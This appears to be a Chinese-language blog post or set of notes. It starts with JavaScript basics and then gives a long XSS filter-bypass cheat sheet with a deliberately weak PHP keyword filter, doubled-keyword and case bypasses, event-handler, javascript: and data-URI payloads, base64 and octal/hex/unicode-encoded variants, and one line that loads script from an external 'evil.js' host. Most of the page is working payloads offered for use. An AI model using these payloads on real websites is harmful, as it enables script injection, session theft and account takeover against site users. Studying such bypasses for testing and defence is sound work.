javascript
1、JavaScript代码可以直接嵌在网页的任何地方,不过通常我们都把JavaScript代码放到<head>中
2、由<script>...</script>包含的代码就是JavaScript代码,它将直接被浏览器执行
3、第二种方法是把JavaScript代码放到一个单独的.js文件(dy.js),然后在HTML中通过<script src="/dy.js"></script>引入这个文件
4、注释//和/*注释*/
5、html标签不区分大小写,但是javascript里面的代码严格区分大小写,如<HtMl>和<ScriPt>
6、JavaScript在设计之初,为了方便初学者学习,并不强制要求用var申明变量。这个设计错误带来了严重的后果:如果一个变量没有通过var申明就被使用,那么该变量就自动被申明为全局变量
7、可以用a='\u4e2d\u6587'
代替a='中文'
8、要把多个字符串连接起来,可以用+号连接
9、单引号内为字符串如'xss',斜杠内也为字符串如/xss/,等效
XSS
测试代码
<>script<script>alert<a>'"javascript:href\eval
<svg onload=alert(/xss/)>
过滤alert、script等关键字
服务端代码
<?php
$name = $_GET['name'];
echo "<br>";
$qian = array("alert","script");
$hou = "";
$filter = str_replace($qian,$hou,$name);
echo "过滤后",$filter;
过滤alert
只过滤一次:<script>alalertert(1)</script>
prompt函数替代:<script>prompt(1)</script>`
confirm函数替代:<script>confirm(1)</script>`
以src外部调用格式:<script src="http://rhainfosec.com/evil.js"></scrip>
过滤script
只过滤一次:<scrscriptipt>alert('xss')</scrscriptipt>
大小写绕过:<SCript>alert('xss')</script>
过滤<script>
只过滤一次:<scr<script>ipt>alert('xss')</scr<script>ipt>
过滤alert(***)
<script>
a=alert
b='xss'
a(b)
</script>
使用<a>标签绕过
<a href="http://www.baidu.com">Clickme</a>
<a href="javascript:alert(1)">Clickme</a>
<A Href="javascript:alert(1)">Clickme</a>
<a href="rhainfosec.com" onmouseover=alert(1)>ClickHere</a>
src属性绕过
<img src=x onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);>
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>
iframe标签绕过
<iframe src="javascript:alert(2)">
<iframe src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
embed标签绕过
<embed src="javascript:alert(2)">
action属性绕过
<form action="Javascript:alert(1)"><input type=submit>
formaction绕过
<form><button formaction=javascript:alert(1)>CLICKME
data属性绕过
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object data=javascript:alert(1)>
事件触发
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
括号被过滤
<img src=x onerror="javascript:window.onerror=alert;throw 1">
location属性绕过
<a onmouseover=location='javascript:alert(1)'>click 鼠标移到click
其他
<meta http-equiv="refresh" content="0;url=www.baidu.com">
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/>
需要点击扇形
<math><a xlink:href="//www.baidu.com">click
需要点击
<svg><script>alert(/1/)</script>
输出在属性中,需要构造闭合
"><img src=x onerror=prompt(0);>
" autofocus onfocus=alert(1)//
"onmouseover=" prompt(0)x="
"onfocusin=alert(1) autofocusx="
" onfocusout=alert(1) autofocus x="
"onblur=alert(1) autofocusa="
输出在script标签中
构造闭合
";alert(1)//
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//
unicode编码绕过
\u0061\u006c\u0065\u0072\u0074(1)是alert(1)的unicode编码,eval()会将编码过的语句解码后再执行
script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>
按位置分类
1、利用<script></script>标签
2、利用伪协议javascript:
<a href="javascript:alert(/xss/)">click</a>
绕过
1、html所有标签都不区分大小写,<A HrEf="javascript:alert(/xss/)">click</a>
2、html属性值支持ascii码十进制和十六进制
<a hRef="jAvascript:alert(/xss/)">click</a>
属性值指的是href=""引号内的值
A的ASCII十进制是A
a的ASCII十进制是a
但是javascript代码严格区分大小写,以上代码可以执行xss,说明ascii编码后A和a都变成a
2、JavaScript所有代码都不识别tab键,<A hRef="ja vas cript :alert(/ xss/)">click</a>
3、简单过滤绕过<scr<script>ipt>
html属性
<a>标签用于设置超链接,<a>标签最重要的属性是href,用于指定超链接的位置
href属性的内容也可以是JavaScript伪协议,点击后执行
<a href="javascript:alert(/xss/)">click</script>
xss模块注入
利用条件,在F12查看源码能看到用户输入的参数值,右键查看源码却看不到
使用{{$eval(alert(1))}}
如图
html实体编码引号
<img src =javascript:alert("XSS;")>
过滤alert()括号内容
<img src=1 onerror=[1].filter(alert)>
payload
<details open ontoggle=top['al'%2B'ert'](1) >
<details open ontoggle=self['al'%2B'ert'](1) >
<details open ontoggle=parent['al'%2B'ert'](1) >
<details open ontoggle=frames['al'%2B'ert'](1) >
<details open ontoggle=content['al'%2B'ert'](1) >
<details open ontoggle=window['al'%2B'ert'](1) >
JS8编码:
<details open ontoggle=top['al\145rt'](1) >
<details open ontoggle=top['\141\154\145\162\164'](1) >
JS16编码:
<details open ontoggle=top['al\x65rt'](1) >
其他
<details open ontoggle=top[/al/.source%2B/ert/.source](1) >
<details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[11189117..toString(32)](1); >
<img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>
<details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>
<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>
网友评论